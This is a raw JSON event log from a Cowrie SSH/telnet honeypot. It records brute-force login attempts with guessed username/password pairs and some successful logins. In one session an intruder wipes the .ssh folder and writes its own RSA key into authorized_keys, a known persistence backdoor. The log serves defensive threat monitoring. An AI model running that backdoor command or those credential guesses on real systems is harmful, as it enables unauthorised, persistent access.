{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:44.393266Z","src_ip":"96.78.175.36","session":"6764265dbd5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:44.486921Z","src_ip":"96.78.175.36","session":"6764265dbd5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd888","message":"login attempt [root/Pa$$w0rd888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:44.957012Z","src_ip":"96.78.175.36","session":"6764265dbd5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":49398,"dst_ip":"10.17.0.5","dst_port":22,"session":"12e118358481","protocol":"ssh","message":"New connection: 220.119.37.141:49398 (10.17.0.5:22) [session: 12e118358481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:45.880225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:45.884861Z","src_ip":"220.119.37.141","session":"12e118358481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:46.085160Z","src_ip":"220.119.37.141","session":"12e118358481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:46.131560Z","src_ip":"96.78.175.36","session":"6764265dbd5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":48798,"dst_ip":"10.17.0.5","dst_port":22,"session":"b706d4ef909a","protocol":"ssh","message":"New connection: 124.18.182.99:48798 (10.17.0.5:22) [session: b706d4ef909a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:46.138069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:46.143529Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.27713656425476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:46.168202Z","src_ip":"192.119.108.58","session":"b1759a011b25","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:46.320026Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.091535091400146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:46.523834Z","src_ip":"161.132.53.68","session":"815ee7776298","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx!@","message":"login attempt [root/12qwaszx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:46.913617Z","src_ip":"220.119.37.141","session":"12e118358481","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123123","message":"login attempt [oracle/123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:47.052716Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33141827583313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:47.201516Z","src_ip":"161.132.53.68","session":"4ab4ed59e41e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:47.446723Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:47.450213Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:47.454254Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.457417488098145,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:47.521103Z","src_ip":"161.132.53.68","session":"29616719e4bb","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:47.633189Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.054254Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.058457Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.115551Z","src_ip":"220.119.37.141","session":"12e118358481","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.238826Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.243115Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":48808,"dst_ip":"10.17.0.5","dst_port":22,"session":"213ad0d5eb0c","protocol":"ssh","message":"New connection: 124.18.182.99:48808 (10.17.0.5:22) [session: 213ad0d5eb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.408681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.413495Z","src_ip":"124.18.182.99","session":"213ad0d5eb0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.586154Z","src_ip":"124.18.182.99","session":"213ad0d5eb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.14358377456665,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:48.821924Z","src_ip":"161.132.53.68","session":"a44ab19982dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:49.313244Z","src_ip":"124.18.182.99","session":"213ad0d5eb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:50.494048Z","src_ip":"124.18.182.99","session":"213ad0d5eb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":48814,"dst_ip":"10.17.0.5","dst_port":22,"session":"c93ce8c80130","protocol":"ssh","message":"New connection: 124.18.182.99:48814 (10.17.0.5:22) [session: c93ce8c80130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:50.658489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:50.664133Z","src_ip":"124.18.182.99","session":"c93ce8c80130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:50.834961Z","src_ip":"124.18.182.99","session":"c93ce8c80130","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:51.549074Z","src_ip":"124.18.182.99","session":"c93ce8c80130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:51.724662Z","src_ip":"124.18.182.99","session":"c93ce8c80130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:51.729770Z","src_ip":"124.18.182.99","session":"b706d4ef909a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54790,"dst_ip":"159.203.135.109","dst_port":23,"session":"890b68a9e291","protocol":"telnet","message":"New connection: 161.132.53.68:54790 (159.203.135.109:23) [session: 890b68a9e291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:51.938720Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35988,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d3f4f605e8b","protocol":"telnet","message":"New connection: 104.245.105.2:35988 (10.17.0.5:23) [session: 9d3f4f605e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:52.036764Z"}
{"eventid":"cowrie.session.closed","duration":30.928121089935303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:52.479116Z","src_ip":"161.132.53.68","session":"3540223bc3f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54804,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a75296dc67a","protocol":"telnet","message":"New connection: 161.132.53.68:54804 (159.203.135.109:23) [session: 8a75296dc67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:56.549768Z"}
{"eventid":"cowrie.session.closed","duration":31.09501051902771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:58.471730Z","src_ip":"161.132.53.68","session":"41cdc019c280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43558,"dst_ip":"159.203.135.109","dst_port":23,"session":"8120adae80ac","protocol":"telnet","message":"New connection: 161.132.53.68:43558 (159.203.135.109:23) [session: 8120adae80ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:59.084680Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":58064,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5e66ae9d0ce","protocol":"ssh","message":"New connection: 200.105.172.184:58064 (159.203.135.109:22) [session: c5e66ae9d0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:59.301787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:59.307796Z","src_ip":"200.105.172.184","session":"c5e66ae9d0ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:28:59.426607Z","src_ip":"200.105.172.184","session":"c5e66ae9d0ce","protocol":"ssh"}
